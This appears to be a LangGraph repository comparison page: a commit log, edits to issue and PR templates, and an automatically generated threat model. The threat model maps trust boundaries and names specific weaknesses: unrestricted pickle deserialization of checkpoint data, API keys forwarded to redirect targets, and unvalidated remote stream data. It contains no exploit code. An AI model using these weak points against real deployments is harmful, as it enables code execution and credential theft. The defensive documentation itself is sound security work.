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Sydney Runkle 4826448e1a this is diabolical 2026-03-05 16:16:15 -08:00
Sydney Runkle 8ea279b8ad tests 2026-03-05 11:04:13 -08:00
Sydney Runkle eb2f09e321 push 2026-03-05 09:51:24 -08:00
Sydney Runkle 26d279a0ac rename 2026-03-05 09:30:02 -08:00
Sydney Runkle e850b21d08 continue 2026-03-05 09:10:43 -08:00
Sydney Runkle 6a92b7ff3c alt fix idea 2026-03-05 08:54:10 -08:00
Sydney Runkle 207dccf5b3 contextvars 2026-03-04 22:28:18 -08:00
Sydney Runkle 0623e4690c boom lint 2026-03-04 22:19:29 -08:00
Sydney Runkle 1366210740 better comments 2026-03-04 22:11:10 -08:00
Sydney Runkle b53c47675d refactor tests 2026-03-04 22:08:14 -08:00
Sydney Runkle 1aeafeeebd move tests 2026-03-04 21:45:16 -08:00
Sydney Runkle ba2b2f4a6f going crazy w/ tests 2026-03-04 21:26:51 -08:00
Sydney Runkle 61fb3563b4 maybe a fix 2026-03-04 18:18:06 -08:00
Sydney Runkle 63528f25af more tests 2026-03-04 17:36:15 -08:00
Sydney Runkle a59b3f1fee update 2026-03-04 14:26:15 -08:00
Sydney Runkle eeaac6d80d update comments 2026-03-04 13:26:31 -08:00
Sydney Runkle bb41c66547 lint 2026-03-04 13:22:48 -08:00
Sydney Runkle 52b586370d skip maybe 2026-03-04 13:20:52 -08:00
108 changed files with 3218 additions and 15705 deletions
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value: |
Thank you for taking the time to file a bug report.
> **All contributions must be in English.** See the [language policy](https://docs.langchain.com/oss/python/contributing/overview#language-policy).
For usage questions, feature requests and general design questions, please use the [LangChain Forum](https://forum.langchain.com/).
Check these before submitting to see if your issue has already been reported, fixed or if there's another way to solve your problem:
@@ -39,16 +37,6 @@ body:
required: true
- label: I posted a self-contained, minimal, reproducible example. A maintainer can copy it and run it AS IS.
required: true
- type: textarea
id: related
validations:
required: false
attributes:
label: Related Issues / PRs
description: |
If this bug is related to any existing issues or pull requests, please link them here.
placeholder: |
* e.g. #123, #456
- type: textarea
id: reproduction
validations:
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@@ -2,13 +2,13 @@ blank_issues_enabled: false
version: 2.1
contact_links:
- name: 💬 LangChain Forum
url: https://forum.langchain.com/
url: https://forum.langchain.com/
about: General community discussions and support
- name: 📚 LangGraph Documentation
url: https://docs.langchain.com/oss/python/langgraph/overview
about: View the official LangGraph documentation
- name: 📚 API Reference Documentation
url: https://reference.langchain.com/python/langgraph/
url: https://reference.langchain.com/python/
about: View the official LangGraph API reference documentation
- name: 📚 Documentation issue
url: https://github.com/langchain-ai/docs/issues/new?template=02-langgraph.yml
+8 -7
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@@ -1,21 +1,22 @@
name: "\U0001F512 Privileged"
description: You are a LangGraph maintainer. If not, check the other options.
name: 🔒 Privileged
description: You are a LangGraph maintainer, or was asked directly by a maintainer to create an issue here. If not, check the other options.
body:
- type: markdown
attributes:
value: |
> **All contributions must be in English.** See the [language policy](https://docs.langchain.com/oss/python/contributing/overview#language-policy).
Thanks for your interest in LangGraph! 🚀
If you are not a LangGraph maintainer, employee, or were not asked directly by a maintainer to create an issue, then please start the conversation on the [LangChain Forum](https://forum.langchain.com/) instead.
If you are not a LangGraph maintainer or were not asked directly by a maintainer to create an issue, then please start the conversation on the [LangChain Forum](https://forum.langchain.com/) instead.
**Note:** Do not begin work on a PR unless explicitly assigned to this issue by a maintainer.
You are a LangGraph maintainer if you maintain any of the packages inside of the LangGraph repository
or are a regular contributor to LangGraph with previous merged merged pull requests.
- type: checkboxes
id: privileged
attributes:
label: Privileged issue
description: Confirm that you are allowed to create an issue here.
options:
- label: I am a LangGraph maintainer.
- label: I am a LangGraph maintainer, or was asked directly by a LangGraph maintainer to create an issue here.
required: true
- type: textarea
id: content
@@ -25,4 +26,4 @@ body:
- type: markdown
attributes:
value: |
Please do not begin work on a PR unless explicitly assigned to this issue by a maintainer.
Community members should **NOT** work on Privileged issues unless these issues have been explicitly marked with a "help-wanted" tag.
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Fixes #
Thank you for contributing to LangGraph! Follow these steps to mark your pull request as ready for review. **If any of these steps are not completed, your PR will not be considered for review.**
<!-- Replace everything above this line with a 1-2 sentence description of your change. Keep the "Fixes #xx" keyword and update the issue number. -->
- [ ] **PR title**: Follows the format: {TYPE}({SCOPE}): {DESCRIPTION}
- Examples:
- feat(core): add multi-tenant support
- fix(cli): resolve flag parsing error
- docs(openai): update API usage examples
- Allowed `{TYPE}` values:
- feat, fix, docs, style, refactor, perf, test, build, ci, chore, revert, release
- Allowed `{SCOPE}` values (optional):
- langgraph, docs, cli, checkpoint, checkpoint-postgres, checkpoint-sqlite, prebuilt, scheduler-kafka, sdk-py
- Once you've written the title, please delete this checklist item; do not include it in the PR.
Read the full contributing guidelines: https://docs.langchain.com/oss/python/contributing/overview
- [ ] **PR message**: ***Delete this entire checklist*** and replace with
- **Description:** a description of the change. Include a [closing keyword](https://docs.github.com/en/issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword) if applicable.
- **Issue:** the issue # it fixes, if applicable
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> **All contributions must be in English.** See the [language policy](https://docs.langchain.com/oss/python/contributing/overview#language-policy).
- [ ] **Add tests and docs**: If you're adding a new integration, you must include:
1. A test for the integration, preferably unit tests that do not rely on network access,
2. An example notebook showing its use. It lives in `docs/docs/integrations` directory.
If you paste a large clearly AI generated description here your PR may be IGNORED or CLOSED!
Thank you for contributing to LangGraph! Follow these steps to have your pull request considered as ready for review.
1. PR title: Should follow the format: TYPE(SCOPE): DESCRIPTION
- feat(langgraph): add multi-tenant support
- Allowed TYPE and SCOPE values: https://github.com/langchain-ai/langgraph/blob/main/.github/workflows/pr_lint.yml#L19-L43
2. PR description:
- Write 1-2 sentences summarizing the change.
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- If there are any breaking changes, please clearly describe them.
- If this PR depends on another PR being merged first, please include "Depends on #PR_NUMBER" in the description.
3. Run `make format`, `make lint` and `make test` from the root of the package(s) you've modified.
- We will not consider a PR unless these three are passing in CI.
4. How did you verify your code works?
- [ ] **Lint and test**: Run `make format`, `make lint` and `make test` from the root of the package(s) you've modified. We will not consider a PR unless these three are passing in CI. See [contribution guidelines](https://docs.langchain.com/oss/python/contributing/overview) for more.
Additional guidelines:
- All external PRs must link to an issue or discussion where a solution has been approved by a maintainer, and you must be assigned to that issue. PRs without prior approval will be closed.
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- Make sure optional dependencies are imported within a function.
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- Most PRs should not touch more than one package.
- Changes should be backwards compatible.
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# Threat Model: LangGraph
> Generated: 2026-03-28 | Commit: 0ba22143 | Scope: Full monorepo (all libs/)
> **Disclaimer:** This threat model is automatically generated to help developers and security researchers understand where trust is placed in this system and where boundaries exist. It is experimental, subject to change, and not an authoritative security reference — findings should be validated before acting on them. The analysis may be incomplete or contain inaccuracies. We welcome suggestions and corrections to improve this document.
For vulnerability reporting, see the [GitHub Security Advisories](https://github.com/langchain-ai/langgraph/security/advisories) page.
## Scope
### In Scope
- `libs/langgraph` — Core graph execution engine (Pregel, StateGraph, channels, functional API with `@entrypoint`/`@task`)
- `libs/prebuilt` — High-level agent APIs (ToolNode, create_react_agent, ValidationNode, InjectedState/InjectedStore/ToolRuntime injection)
- `libs/checkpoint` — Checkpoint serialization/deserialization (JsonPlusSerializer, EncryptedSerializer, BaseCache, stores, serde event hooks, SAFE_MSGPACK_TYPES allowlist)
- `libs/checkpoint-postgres` — PostgreSQL checkpoint saver, key-value store, and vector search
- `libs/checkpoint-sqlite` — SQLite checkpoint saver, key-value store, and vector search
- `libs/cli` — CLI for Docker-based deployment (`langgraph up/build/dev/new`), WebhookUrlPolicy
- `libs/sdk-py` — Python SDK client for LangGraph Server API (HttpClient, Auth system, Encryption handlers)
### Out of Scope
- `libs/sdk-js` — Moved to external `langchain-ai/langgraphjs` repository; no source in this repo
- `libs/checkpoint-conformance` — Conformance test suite only; not shipped code
- LangGraph Server / `langgraph-api` — Closed-source server runtime; not in this repo
- LangChain Core (`langchain-core`) — Upstream dependency; separate threat model
- User application code — Tools, prompts, model selection, deployment infrastructure
- LLM provider behavior — Model output content and safety
- LangSmith platform — Observability/tracing backend
- Tests, benchmarks, documentation — Not shipped code
### Assumptions
1. The project is used as a library/framework — users control their own application code, model selection, and deployment.
2. Checkpoint storage backends (databases) are deployed with proper access controls by the user.
3. LLM providers return well-formed responses per their documented API contracts.
4. The `langgraph.json` configuration file is developer-controlled and not user-supplied at runtime.
5. The CLI runs in a developer environment with Docker access.
6. The SDK connects to trusted LangGraph Server endpoints chosen by the user.
7. SDK Encryption handlers are developer-authored server-side code with application-level trust.
---
## System Overview
LangGraph is an open-source Python framework for building stateful, multi-actor AI agent applications. It provides a graph-based execution model (Bulk Synchronous Parallel via the Pregel engine) where user-defined nodes process shared state through typed channels. The framework supports two authoring APIs: the declarative StateGraph API and the functional API (`@entrypoint`/`@task` decorators). It includes checkpointing (persistence of graph state to databases), tool execution (dispatching LLM-generated tool calls with runtime injection of state/store/context), remote graph composition (calling LangGraph Server APIs), Docker-based deployment via a CLI, and a beta SDK encryption framework for custom at-rest encryption handlers.
### Architecture Diagram
```
+---------------------------------------------------------------------------+
| User Application |
| |
| +-----------------------------------------------+ |
| | User Application Code | |
| | (graph nodes, tools; StateGraph builder API | |
| | and functional API @entrypoint/@task both | |
| | compile to the same Pregel execution engine) | |
| +------------------------+----------------------+ |
| | |
| +------------v-----------+ |
| | StateGraph / Pregel | |
| | (core execution engine)| |
| +------+----------+------+ |
| | | |
| InjectedState +--v---------+ |
| InjectedStore | ToolNode | |
| ToolRuntime | (opt-in) | |
| +------------+ |
| | |
| - - - - - - - - - - - | - - - - TB1: User/Framework API - - - - - - - - |
| | |
| +-----v------+ +--------------+ |
| | Checkpoint | | RemoteGraph | |
| | Serializer | | (SDK client) | |
| |(jsonplus) | +------+--------+ |
| +-----+------+ | |
| | | |
| - - - - - - - - - - - | - - - - - - - -|- - TB2: Storage/Network - - - - |
| v v |
| +--------------+ +--------------+ |
| | PostgreSQL | | LangGraph | |
| | / SQLite | | Server API | |
| +--------------+ +--------------+ |
| |
| +----------+ +--------------+ |
| | CLI |------------------>| Docker | |
| |(langgraph| TB4: Config | Engine | |
| | up/build)| +--------------+ |
| +----------+ |
| |
| +--------------------+ |
| | SDK Encryption | TB5: Developer-authored handlers |
| | Handlers (beta) | (server-side execution in langgraph-api) |
| +--------------------+ |
+---------------------------------------------------------------------------+
```
---
## Components
| ID | Component | Description | Trust Level | Default? | Entry Points |
|----|-----------|-------------|-------------|----------|--------------|
| C1 | StateGraph / Pregel | Core graph builder and execution engine with v1/v2 output, durability modes (sync/async/exit), interrupt_before/interrupt_after | framework-controlled | Yes | `StateGraph.add_node()`, `StateGraph.compile()`, `Pregel.invoke()`, `Pregel.stream()` |
| C2 | JsonPlusSerializer | Checkpoint serialization/deserialization with msgpack, JSON, and pickle codecs; 47-entry SAFE_MSGPACK_TYPES allowlist | framework-controlled | Yes | `loads_typed()`, `dumps_typed()`, `_create_msgpack_ext_hook()`, `_reviver()` |
| C3 | ToolNode | Dispatches LLM-generated tool calls to registered BaseTool instances; supports InjectedState/InjectedStore/ToolRuntime injection into tools | framework-controlled | No (explicit opt-in required) | `ToolNode._func()`, `_run_one()`, `_execute_tool_sync()`, `_validate_tool_call()`, `_inject_tool_args()` |
| C4 | RemoteGraph | Client for remote LangGraph Server API; implements PregelProtocol | framework-controlled | No (opt-in) | `RemoteGraph.stream()`, `RemoteGraph.invoke()`, `RemoteGraph.get_state()` |
| C5 | PostgresSaver / PostgresStore | PostgreSQL checkpoint saver, key-value store, and vector search | framework-controlled | No (opt-in) | `from_conn_string()`, `put()`, `get_tuple()`, `search()` |
| C6 | SqliteSaver / SqliteStore | SQLite checkpoint saver, key-value store with JSON path filtering | framework-controlled | No (opt-in) | `from_conn_string()`, `put()`, `get_tuple()`, `search()` |
| C7 | EncryptedSerializer | AES-EAX authenticated encryption wrapper for checkpoint data | framework-controlled | No (opt-in) | `from_pycryptodome_aes()`, `loads_typed()`, `dumps_typed()` |
| C8 | CLI (langgraph_cli) | Docker-based build and deployment tooling; config schema includes WebhookUrlPolicy for SSRF protection | framework-controlled | No (separate install) | `langgraph up`, `langgraph build`, `langgraph dev`, `langgraph new` |
| C9 | SDK Client (langgraph_sdk) | HTTP client for LangGraph Server API with SSE streaming and reconnection | framework-controlled | Yes | `get_client()`, `get_sync_client()`, `HttpClient.request_reconnect()`, `HttpClient.stream()` |
| C10 | User-Registered Tools | BaseTool instances provided by users; may use InjectedState/InjectedStore/ToolRuntime annotations | user-controlled | N/A | Tool `invoke()` / `ainvoke()` methods |
| C11 | User-Registered Nodes | Arbitrary callables added via `add_node()` or `@task`/`@entrypoint` | user-controlled | N/A | Node function signatures |
| C12 | Checkpoint Storage | PostgreSQL or SQLite databases storing serialized graph state | external | N/A | Database connection interface |
| C13 | Functional API | `@entrypoint`/`@task` decorators for function-based workflow authoring with retry/cache policies | framework-controlled | Yes | `entrypoint.__call__()`, `task()`, `_TaskFunction.__call__()` (`libs/langgraph/langgraph/func/__init__.py`) |
| C14 | BaseCache | Cache layer for task results with JsonPlusSerializer (pickle_fallback=False) | framework-controlled | No (opt-in, requires checkpointer) | `get()`, `set()`, `clear()` (`libs/checkpoint/langgraph/cache/base/__init__.py`) |
| C15 | Serde Event Hooks | Monitoring system for serialization/deserialization events (msgpack_blocked, msgpack_unregistered_allowed, msgpack_method_blocked) | framework-controlled | Yes | `register_serde_event_listener()`, `emit_serde_event()` (`libs/checkpoint/langgraph/checkpoint/serde/event_hooks.py`) |
| C16 | Auth System (SDK) | Custom authentication/authorization handler framework | framework-controlled | No (opt-in) | `Auth.authenticate()`, `Auth.on()` handler registration (`libs/sdk-py/langgraph_sdk/auth/__init__.py`) |
| C17 | SDK Encryption Handlers (beta) | Custom at-rest encryption/decryption framework; supports blob and JSON handlers with per-model/field context; server-side execution | framework-controlled | No (opt-in, beta) | `Encryption.encrypt.blob()`, `Encryption.encrypt.json()`, `Encryption.decrypt.blob()`, `Encryption.decrypt.json()`, `Encryption.context()` (`libs/sdk-py/langgraph_sdk/encryption/__init__.py`) |
---
## Data Classification
| ID | PII Category | Specific Fields | Sensitivity | Storage Location(s) | Encrypted at Rest | Retention | Regulatory |
|----|-------------|----------------|-------------|---------------------|-------------------|-----------|------------|
| DC1 | API credentials | `x-api-key` header, `LANGGRAPH_API_KEY`, `LANGSMITH_API_KEY`, `LANGCHAIN_API_KEY` env vars | Critical | Environment variables, HTTP headers in transit | N/A (in-memory) | Session lifetime | All — breach trigger |
| DC2 | Encryption keys | `LANGGRAPH_AES_KEY` env var, `key` parameter to `from_pycryptodome_aes()` | Critical | Environment variable, in-memory | N/A | Application lifetime | All — breach trigger |
| DC3 | Serialized graph state | Checkpoint data in `checkpoints` and `writes` tables (msgpack/JSON/pickle bytes) | High | PostgreSQL (BYTEA), SQLite (BLOB) | Optional via EncryptedSerializer or SDK Encryption Handlers | Unbounded (no default TTL) | GDPR if state contains PII |
| DC4 | Store key-value data | User-stored items in `store` tables via BaseStore | High | PostgreSQL, SQLite | No (plaintext JSON); optional via SDK Encryption Handlers | Configurable TTL, default unbounded | GDPR if contains PII |
| DC5 | Checkpoint metadata | `thread_id`, `checkpoint_ns`, `run_id`, `step`, `source` | Medium | PostgreSQL, SQLite (metadata JSONB/JSON column) | No | Same as DC3 | Minimal |
| DC6 | Agent conversation history | LangChain messages (HumanMessage, AIMessage, ToolMessage) serialized in checkpoint state | High | PostgreSQL, SQLite (within DC3 checkpoint bytes) | Only if DC3 encrypted | Unbounded | GDPR, CCPA if contains user PII |
| DC7 | Connection strings | PostgreSQL URIs, SQLite file paths passed to `from_conn_string()` | Critical | Application code, environment variables | N/A (in-memory) | Application lifetime | All — may contain credentials |
| DC8 | Vector embeddings | Document embeddings in `store_vectors` table | Low | PostgreSQL (pgvector), SQLite (vec extension) | No | Same as DC4 | Minimal |
| DC9 | SDK Encryption context metadata | `EncryptionContext.metadata` dict passed to encryption handlers | Medium | In-memory per request; persisted with encrypted data | N/A (context, not payload) | Request lifetime + persistence alongside encrypted data | Depends on content |
### Data Classification Details
#### DC1: API Credentials
- **Fields**: `x-api-key` HTTP header, `LANGGRAPH_API_KEY`/`LANGSMITH_API_KEY`/`LANGCHAIN_API_KEY` environment variables
- **Storage**: Environment variables (loaded at runtime), HTTP request headers (in transit)
- **Access**: SDK client code (`libs/sdk-py/langgraph_sdk/_shared/utilities.py:_get_api_key`), any process with env var access
- **Encryption**: TLS in transit (if HTTPS); no at-rest encryption for env vars
- **Retention**: Session/process lifetime
- **Logging exposure**: API key stripped of quotes but could appear in debug logs if HTTP headers are logged. `RESERVED_HEADERS` prevents user override of `x-api-key` but doesn't prevent logging.
- **Cross-border**: Travels with every HTTP request to the LangGraph Server
- **Gaps**: SDK `request_reconnect()` and `stream()` forward `x-api-key` header to server-controlled `Location` redirect URLs without URL validation (see T9)
#### DC2: Encryption Keys
- **Fields**: `LANGGRAPH_AES_KEY` environment variable, `key` bytes parameter
- **Storage**: Environment variable or direct bytes in application code
- **Access**: `libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:from_pycryptodome_aes`
- **Encryption**: N/A — this IS the encryption key
- **Retention**: Application lifetime
- **Logging exposure**: Not logged by framework code
- **Gaps**: Key loaded from env var as UTF-8 string limits entropy to ~6.57 bits/byte (see T7). Cipher name validated with `assert` which is stripped by `python -O` (see T8).
#### DC3: Serialized Graph State
- **Fields**: All channel values serialized via `JsonPlusSerializer.dumps_typed()` — includes complete agent state, conversation history, tool call results, and any user-defined state
- **Storage**: PostgreSQL `checkpoints.checkpoint` (BYTEA), `writes.blob` (BYTEA); SQLite `checkpoints.checkpoint` (BLOB), `writes.blob` (BLOB)
- **Access**: Any code with database credentials; `BaseCheckpointSaver.get_tuple()` / `put()`
- **Encryption**: Optional via `EncryptedSerializer` wrapping (AES-EAX) or SDK Encryption Handlers (beta, server-side). Not encrypted by default.
- **Retention**: Unbounded by default. Optional TTL via `CheckpointerConfig.ttl` (server-side config)
- **Logging exposure**: Serde event hooks emit module/class names of deserialized types but not the data itself
- **Gaps**: Default unbounded retention of potentially PII-containing state. Unencrypted by default. EncryptedSerializer has fallback that accepts unencrypted data (see T10).
#### DC6: Agent Conversation History
- **Fields**: `HumanMessage.content`, `AIMessage.content`, `ToolMessage.content`, `AIMessage.tool_calls` — embedded within DC3 checkpoint bytes
- **Storage**: Same as DC3 (within serialized checkpoint data)
- **Access**: Same as DC3
- **Encryption**: Only if DC3 is encrypted via EncryptedSerializer or SDK Encryption Handlers
- **Retention**: Same as DC3 (unbounded default)
- **Gaps**: Conversation content may include user PII, PHI, or sensitive business data. No field-level encryption or redaction. Retention inherits from DC3 with no conversation-specific policy.
#### DC9: SDK Encryption Context Metadata
- **Fields**: `EncryptionContext.model` (str), `EncryptionContext.field` (str), `EncryptionContext.metadata` (dict)
- **Storage**: In-memory during request processing; persisted alongside encrypted data for later decryption
- **Access**: Encryption/decryption handlers (developer-authored), ContextHandler (receives authenticated BaseUser)
- **Encryption**: N/A — this is context for encryption, not encrypted data itself
- **Retention**: Persisted with encrypted data indefinitely
- **Logging exposure**: Not logged by SDK code
- **Gaps**: `metadata` is a mutable dict — whether cross-request isolation is enforced depends on server-side implementation (langgraph-api, out of scope). ContextHandler registration at `libs/sdk-py/langgraph_sdk/encryption/__init__.py:Encryption.context` does not call `_validate_handler` (missing async/param-count validation, unlike all other handler types).
---
## Trust Boundaries
| ID | Boundary | Description | Controls (Inside) | Does NOT Control (Outside) |
|----|----------|-------------|-------------------|---------------------------|
| TB1 | User/Framework API | Where user-provided code and configuration enters the framework | Graph execution logic, channel semantics, default configs, validation of graph structure, tool injection merge order (system values overwrite LLM values) | User node implementations, tool behavior, model selection, prompt construction, state schema design |
| TB2 | Checkpoint Storage | Where serialized data enters/leaves the persistence layer | Serialization format, allowlists for deserialization (47 safe types, 1 safe method), encryption (if configured), serde event hooks | Database access controls, who can write to the checkpoint tables, storage infrastructure security |
| TB3 | Remote API | Where data crosses the network to/from LangGraph Server | Outbound config sanitization (`_sanitize_config`), SDK HTTP transport, API key handling, `RESERVED_HEADERS` | Remote server behavior, response content integrity, network security (TLS), server-provided Location redirect targets |
| TB4 | CLI Config/Docker | Where developer config drives container image generation | Dockerfile template structure, config schema validation (including WebhookUrlPolicy), list-based subprocess args, build command content validation | `langgraph.json` file content, Docker daemon security, host filesystem |
| TB5 | SDK Encryption Handlers | Where developer-authored encryption handlers process sensitive data | Handler signature validation (async, 2-param for encrypt/decrypt), duplicate registration prevention, EncryptionContext construction | Handler implementation correctness, key management, actual encrypt/decrypt behavior, server-side execution environment |
### Boundary Details
#### TB1: User/Framework API
- **Inside**: Graph compilation validates structure (`libs/langgraph/langgraph/pregel/_validate.py:validate_graph`). Channel types enforce update semantics (`libs/langgraph/langgraph/channels/base.py:BaseChannel.update`). Functional API validates entrypoint has at least one parameter (`libs/langgraph/langgraph/func/__init__.py:entrypoint`). Sensitive config keys filtered from metadata propagation — keys containing "key", "token", "secret", "password", "auth" are excluded (`libs/langgraph/langgraph/_internal/_config.py:_exclude_as_metadata`). Tool injection merge order ensures system-injected values (InjectedState/InjectedStore/ToolRuntime) overwrite any LLM-supplied collisions (`libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._inject_tool_args` line 1380). Injected parameter names hidden from LLM tool schema via `tool_call_schema` filtering.
- **Outside**: What user nodes do, what tools return, what LLMs generate, how users handle output.
- **Crossing mechanism**: Python function calls — `add_node(callable)`, `add_edge()`, `compile(checkpointer=...)`, `@entrypoint`, `@task`.
#### TB2: Checkpoint Storage
- **Inside**: `JsonPlusSerializer` controls serialization format (`libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:JsonPlusSerializer`). Msgpack type allowlist (`libs/checkpoint/langgraph/checkpoint/serde/_msgpack.py:SAFE_MSGPACK_TYPES` — 47 safe types including stdlib, langchain_core messages, and langgraph types). Msgpack method allowlist (`libs/checkpoint/langgraph/checkpoint/serde/_msgpack.py:SAFE_MSGPACK_METHODS` — 1 safe method: `datetime.datetime.fromisoformat`). JSON module allowlist (`libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:_check_allowed_json_modules`). Serde event hooks for monitoring (`libs/checkpoint/langgraph/checkpoint/serde/event_hooks.py:emit_serde_event`). Optional `EncryptedSerializer` wrapping (`libs/checkpoint/langgraph/checkpoint/serde/encrypted.py:EncryptedSerializer`). SQLite filter key regex validation (`libs/checkpoint-sqlite/langgraph/checkpoint/sqlite/utils.py:_validate_filter_key`). Parameterized SQL queries in both Postgres and SQLite backends.
- **Outside**: Database access controls, who can read/write checkpoint tables, storage backend integrity.
- **Crossing mechanism**: Database read/write operations — serialized bytes stored as BYTEA (Postgres) or BLOB (SQLite).
#### TB3: Remote API
- **Inside**: `_sanitize_config()` strips non-primitive values and drops checkpoint-internal keys from outbound config (`libs/langgraph/langgraph/pregel/remote.py:_sanitize_config`). SDK handles API key from env vars (`libs/sdk-py/langgraph_sdk/_shared/utilities.py:_get_api_key`). `RESERVED_HEADERS` prevents user override of `x-api-key` (`libs/sdk-py/langgraph_sdk/_shared/utilities.py:RESERVED_HEADERS`).
- **Outside**: Remote server response content, network integrity, whether the server is legitimate, server-provided Location redirect targets.
- **Crossing mechanism**: HTTPS requests via `httpx` through `langgraph_sdk`.
#### TB4: CLI Config/Docker
- **Inside**: Config file parsed as JSON (`libs/cli/langgraph_cli/config.py:validate_config_file`). Docker subprocess invoked with list-based args via `asyncio.create_subprocess_exec`, not `shell=True` (`libs/cli/langgraph_cli/exec.py:subp_exec`). Template downloads from hardcoded GitHub URLs (`libs/cli/langgraph_cli/templates.py`). Config schema validation covers store, auth, encryption, http, webhooks, checkpointer, and ui sections (`libs/cli/langgraph_cli/schemas.py`). Build command content validation blocks shell metacharacters (`libs/cli/langgraph_cli/config.py:has_disallowed_build_command_content`). WebhookUrlPolicy (`libs/cli/langgraph_cli/schemas.py:WebhookUrlPolicy`) supports `require_https`, `allowed_domains`, `allowed_ports`, `max_url_length`, `disable_loopback` for SSRF protection.
- **Outside**: Content of `langgraph.json`, Docker daemon behavior, filesystem permissions.
- **Crossing mechanism**: JSON file read, subprocess execution, ZIP download/extraction.
#### TB5: SDK Encryption Handlers
- **Inside**: Handler signature validation — must be async, must accept exactly 2 positional params (`libs/sdk-py/langgraph_sdk/encryption/__init__.py:_validate_handler`). Duplicate handler registration prevention (`DuplicateHandlerError`). `EncryptionContext` construction with model/field/metadata (`libs/sdk-py/langgraph_sdk/encryption/types.py:EncryptionContext`). JSON key preservation constraint documented (enforced server-side).
- **Outside**: Handler implementation correctness, key management strategy, actual encryption/decryption logic, server-side execution in langgraph-api.
- **Crossing mechanism**: Python decorator registration at import time; server-side invocation at runtime.
---
## Data Flows
| ID | Source | Destination | Data Type | Classification | Crosses Boundary | Protocol |
|----|--------|-------------|-----------|----------------|------------------|----------|
| DF1 | C12 (Checkpoint Storage) | C2 (JsonPlusSerializer) | Serialized checkpoint bytes (msgpack/JSON/pickle) | DC3 | TB2 | Database read |
| DF2 | C2 (JsonPlusSerializer) | C1 (Pregel) | Deserialized Python objects (channel state) | DC3, DC6 | TB2 | Function call |
| DF3 | LLM (external) | C3 (ToolNode) | Tool call arguments (JSON strings in AIMessage) | — | TB1 | Function call (via langchain-core) |
| DF4 | C3 (ToolNode) | C10 (User Tools) | Parsed argument dicts merged with injected state/store/runtime | — | TB1 | `tool.invoke(call_args)` |
| DF5 | C4 (RemoteGraph) | C1 (Pregel) | Stream chunks (JSON-deserialized dicts) | — | TB3 | HTTPS / SSE |
| DF6 | `langgraph.json` | C8 (CLI) | Config dict (graphs, env, store, auth, encryption, http, webhooks, checkpointer, ui) | — | TB4 | `json.load()` |
| DF7 | C8 (CLI) | Docker | Dockerfile content with embedded ENV values | — | TB4 | `asyncio.create_subprocess_exec` |
| DF8 | C11 (User Nodes) | C1 (Pregel) | State updates (arbitrary Python objects) | — | TB1 | Channel write |
| DF9 | C9 (SDK Client) | C4 (RemoteGraph) | API responses (JSON) | — | TB3 | HTTPS |
| DF10 | User config | C7 (EncryptedSerializer) | AES key from LANGGRAPH_AES_KEY env var | DC2 | TB2 | `os.getenv()` |
| DF11 | C12 (Checkpoint Storage) | C14 (BaseCache) | Cached task results via JsonPlusSerializer | DC3 | TB2 | Database read |
| DF12 | LangGraph Server | C9 (SDK Client) | HTTP responses with Location header | DC1 | TB3 | HTTP redirect |
| DF13 | C9 (SDK Client) | Redirect target | Request headers including x-api-key | DC1 | TB3 | HTTPS |
| DF14 | C1 (Pregel state) | C3 (ToolNode) | InjectedState/InjectedStore/ToolRuntime values for tool injection | DC3, DC4 | TB1 | Function call (dict merge) |
| DF15 | Developer code | C17 (SDK Encryption Handlers) | Encryption/decryption handler functions and context handler | — | TB5 | Python decorator registration |
### Flow Details
#### DF1: Checkpoint Storage -> JsonPlusSerializer
- **Data**: Serialized graph state as `(type_tag, bytes)` tuples. Type tags include `"msgpack"`, `"json"`, `"pickle"`, `"bytes"`, `"null"`. When encrypted: `"msgpack+aes"`, `"json+aes"`.
- **Validation**: Type tag dispatches to codec. Msgpack: `_create_msgpack_ext_hook` with allowlist check — `SAFE_MSGPACK_TYPES` (47 entries) always checked first, then `allowed_modules` determines behavior for unregistered types (`libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:_create_msgpack_ext_hook`). JSON: `_reviver` with `lc:2` module allowlist. Pickle: **no restrictions** (`pickle.loads(data_)` if `pickle_fallback=True`, `libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py:JsonPlusSerializer.loads_typed`). The proposed `secure_pickle.py` with `RestrictedUnpickler` was documented in `SECURITY_FIX_SUMMARY.md` but never merged.
- **Trust assumption**: Checkpoint storage is access-controlled. An attacker with write access to the database can craft malicious checkpoint data.
#### DF3: LLM -> ToolNode
- **Data**: Tool call name and arguments from LLM-generated `AIMessage.tool_calls`.
- **Validation**: Tool name checked against registered `tools_by_name` dict — unknown names return error `ToolMessage` (`libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._validate_tool_call`). Argument values validated only by the target tool's Pydantic schema.
- **Trust assumption**: LLM output is treated as untrusted for tool name routing but argument values pass through to tools without ToolNode-level sanitization.
#### DF4: ToolNode -> User Tools (with Injection)
- **Data**: Parsed argument dicts from LLM, merged with system-injected InjectedState/InjectedStore/ToolRuntime values.
- **Validation**: Four-layer defense: (1) Injected parameter names hidden from LLM via `tool_call_schema` filtering. (2) Dict merge `{**llm_args, **injected_args}` places system values last — system always wins on collision (`libs/prebuilt/langgraph/prebuilt/tool_node.py:ToolNode._inject_tool_args` line 1380). (3) Pydantic `model_validate` with default `extra="ignore"` drops unknown keys. (4) Output construction only includes declared model fields.
- **Trust assumption**: LLM-provided arguments cannot override system-injected values due to merge order.
#### DF5: RemoteGraph -> Pregel
- **Data**: Stream event chunks containing dicts for `Interrupt`, `Command`, state snapshots.
- **Validation**: **None** on inbound data. `Interrupt(**i)` uses dict-splatting with no schema check (`libs/langgraph/langgraph/pregel/remote.py:RemoteGraph.stream`). `Command(**chunk.data)` uses dict-splatting for parent commands.
- **Trust assumption**: Remote server is trusted. A compromised or malicious server can inject arbitrary field values.
#### DF6: langgraph.json -> CLI
- **Data**: JSON config including `graphs`, `env`, `store`, `auth`, `encryption`, `http`, `webhooks`, `checkpointer`, `ui`, `ui_config` sections.
- **Validation**: Schema validation in `validate_config_file()` (`libs/cli/langgraph_cli/config.py:validate_config_file`). Config values embedded in Dockerfile via `json.dumps()` in single-quoted `ENV` lines (`libs/cli/langgraph_cli/config.py:python_config_to_docker`). Build command content validation (`libs/cli/langgraph_cli/config.py:has_disallowed_build_command_content`) blocks shell metacharacters.
- **Trust assumption**: `langgraph.json` is developer-authored. Single quotes in config values could break Dockerfile `ENV` syntax.
